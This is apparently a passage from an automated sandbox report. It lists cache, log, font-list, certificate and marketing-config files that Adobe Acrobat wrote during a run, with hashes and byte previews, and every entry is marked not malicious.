Entropy (8bit):	5.16770585712906
Encrypted:	false
SSDEEP:	6:iO4b9dYiM+q2PcNwi2nKuAl9OmbzNMxIFUtSb9dbpZmwsb9ddMVkwOcNwi2nKuAo:749i+vLZHAa8jFUta9X/k9MV54ZHAa8E
MD5:	2A10FA7006BAE2ACC24A63CFE9056C46
SHA1:	92877FBF2C38490B9E4BAF29EC813D4381AFECC2
SHA-256:	8BCE21514448BD25D373A15EE6F31B299F781E026B25759560F12499D9CE47E0
SHA-512:	1EB5BBF8D4497427E48A0802A476C991CDE43C1BBF950CED6AE4C1249BFE5F02EB6C80ACEFC34B76AC68F6831589F5F2C4A04D6F4BDBA8F4B73A4FA520BD9F0D
Malicious:	false
Preview:	2025/01/10-19:29:08.348 1eac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-19:29:08.350 1eac Recovering log #3.2025/01/10-19:29:08.351 1eac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.16770585712906
Encrypted:	false
SSDEEP:	6:iO4b9dYiM+q2PcNwi2nKuAl9OmbzNMxIFUtSb9dbpZmwsb9ddMVkwOcNwi2nKuAo:749i+vLZHAa8jFUta9X/k9MV54ZHAa8E
MD5:	2A10FA7006BAE2ACC24A63CFE9056C46
SHA1:	92877FBF2C38490B9E4BAF29EC813D4381AFECC2
SHA-256:	8BCE21514448BD25D373A15EE6F31B299F781E026B25759560F12499D9CE47E0
SHA-512:	1EB5BBF8D4497427E48A0802A476C991CDE43C1BBF950CED6AE4C1249BFE5F02EB6C80ACEFC34B76AC68F6831589F5F2C4A04D6F4BDBA8F4B73A4FA520BD9F0D
Malicious:	false
Preview:	2025/01/10-19:29:08.348 1eac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-19:29:08.350 1eac Recovering log #3.2025/01/10-19:29:08.351 1eac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.4387070912998805
Encrypted:	false
SSDEEP:	384:yeaci5GEiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:1IurVgazUpUTTGt
MD5:	49AC70C82FBC97EA54F436ED90B5F480
SHA1:	EC1B4B1D2DEEB02D613EE4E3260F5A751E9265BB
SHA-256:	DB8E213B254C2FAF8A5D5D038082230FB6D197872DE058174CD1BE338C2C1838
SHA-512:	53FD7BF316856C612D7381A69B604E20DCE6228662FBCEC2C27D30F4F1A7842571148BDD1D258525888047328ECC5C6D36EA10619657ABF88CE5EED9D2517D98
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.773657522983989
Encrypted:	false
SSDEEP:	48:7MQp/E2ioyV/ioy3DoWoy1CABoy1TKOioy1noy1AYoy1Wioy1hioybioyboy1nol:7vpju/0iA1XKQGCb9IVXEBodRBk5
MD5:	2CC2522A65D5A7B3C4DACEE7341826B3
SHA1:	FD2F56B83C392962DFD22EB1BD6B194FE6D411D6
SHA-256:	08F8FA4C7D877DD77C94B884CA6F5CBCD939B510F24CED47323A0AEF1AA700FD
SHA-512:	61AFC5A150A422FB4221A04A6501EB97DF50886B08F558FF87DDAE2A3E96C1A13E5B31AE430D00B530162146A738D2B884B9D7C3D542BD55D26A80F1D8714147
Malicious:	false
Preview:	.... .c......ihi...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklf7tfllXlE/HT8ktkNNX8RolJuRdxLlGB9lQRYwpDdt:kKQeT8kUNMa8RdWBwRd
MD5:	41B5C69ECC244A6D6C1E8D66F3D61305
SHA1:	F28D455B5305E07C76215E865CECD2AA56365668
SHA-256:	A68A50CFD904B7E7A65599B6DA3B7B893CCCF34F0174561295C97EA7D798B9C7
SHA-512:	6C1C399AAECD69EBC193B95FFAF3887AD6A174AC9BA93D9A9EE1BC6E862C347E98669DD0A215C77AD9A5D6B4351627BEF5A785439CDAFAA9B534651594E2A784
Malicious:	false
Preview:	p...... ............c..(....................................................... ..........W...................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.236892865807448
Encrypted:	false
SSDEEP:	6:kK7uL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:TuiDImsLNkPlE99SNxAhUe/3
MD5:	C877B10F85030FAAB849C921C06979EA
SHA1:	DE3572B3712CEEF91EC194AB6DED7769643ED713
SHA-256:	F443EA84CB8396370B32A9E2FA870E207FB6DE64FD25D53D39F8199A57C70547
SHA-512:	16FD1FD2A2BF9B705BC72CBE9368619DF92490CB6772EED127F4D06126C2851D66E1BAEDFB56C7A9D325CAEE289EA54EDAD135BE7169AC371965E07168123557
Malicious:	false
Preview:	p...... ........;x..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7424

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7424

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.396540039301908
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDFoHQDg/4WsGiIPEeOF0YQoAvJM3g98kUwPeUkwRe9:YvXKXjDSbsdTeObGMbLUkee9
MD5:	AB56569DF8CA919B5A11E970DDE9FE39
SHA1:	1D2B0CCC533B8EE919FDEEB931B44EBC11BB9117
SHA-256:	F5D542BFA89FF40A8799B887D26A89EB369B7486E91BF1B9E5150464366CD69A
SHA-512:	DB92D8AFA57897C32D945105279C18DB0D6D4236368D86DC868F5208D7F3821D5D460498D76CA3A08DC888974DC395D1B59FFE0C7186DB74F2A9B9ECADAFC27E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"40bf6e54-f2fd-49b2-83ac-5db541d4f75d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736729387419,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.33214300132607
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDFoHQDg/4WsGiIPEeOF0YQoAvJfBoTfXpnrPeUkwRe9:YvXKXjDSbsdTeObGWTfXcUkee9
MD5:	D88046616979325878FB23DA6DA89E87
SHA1:	9C1CCAC33DCC680FF289577A0F774E354D061E6C
SHA-256:	148A2136DF423CE02AB0A7E204A4DEA4DEA7232F96DF824926BD94EC766DA3EA
SHA-512:	20D00FB85A89D9511D0F7A69A386655FDC0DC79283965FFA80990B3DD3F385EDEC5BA2798EB004605935A58061AA6323B4BC9C024EFAA9B73C7B82EB6F2D94E1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"40bf6e54-f2fd-49b2-83ac-5db541d4f75d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736729387419,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.310849215552948
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDFoHQDg/4WsGiIPEeOF0YQoAvJfBD2G6UpnrPeUkwRe9:YvXKXjDSbsdTeObGR22cUkee9
MD5:	8FA328566196F91CCCDCB2E68EF33FBB
SHA1:	4DAA8830A84F47E154F298937C793F0A6E067A72
SHA-256:	96926E6765380593A693E2DD134BDC1BCEBC6FC0B0D0E5A61269CB724C1AC397
SHA-512:	004CE4EF33DFCEFE6008FF552FC079E101F72D0ABACC6AC11FE6B1BA9A5C325B8A6123E2567299EC438C290A4713780AD5134A7FC13355F1A5E8BEBB72314D3E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"40bf6e54-f2fd-49b2-83ac-5db541d4f75d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736729387419,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.384582435543906
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDFoHQDg/4WsGiIPEeOF0YQoAvJfPmwrPeUkwRe9:YvXKXjDSbsdTeObGH56Ukee9
MD5:	B5C9658B144CE345B7E3BB07E73F4491
SHA1:	0C41D6DC10E926CB109D7DAA66045116248C4DC0
SHA-256:	B92293FFF54ADDD0F66E70166E0B44F31862A7A2425C7B24E0913466805CC40D
SHA-512:	AD6F9FAE1811EBBA7CD17EB42D44EF5CBE4B4098652713C83ECA1C235BB2E0729AAE844A9F78BD7DC2B5F3749ED0D1A65A488BD6154AB831879206DF34CB882D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"40bf6e54-f2fd-49b2-83ac-5db541d4f75d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736729387419,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.689811444029327
Encrypted:	false
SSDEEP:	24:Yv6X/SmeOwpLgE9cQx8LennAvzBvkn0RCmK8czOCCS2q1:YvYRezhgy6SAFv5Ah8cv/2k
MD5:	5DD6B5032C1078A6C654B2C319DEA148
SHA1:	20AF5CCB0274C29AFCFDE58ECC74907CC358BFFF
SHA-256:	D2A024417CD1607FDCCA4BD5E2B84CC89BD7A410B5CDACEAE08CCDB32E5AE765
SHA-512:	52ED38963B7CE169F791B973C5022E77E8DB2A57A718ED2C64C152561B87AB42F4E95491399EBE0C6DA137DC11A679DBB9467E2DB1F91D314E9B088D62D44872
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"40bf6e54-f2fd-49b2-83ac-5db541d4f75d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736729387419,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.319980085068993
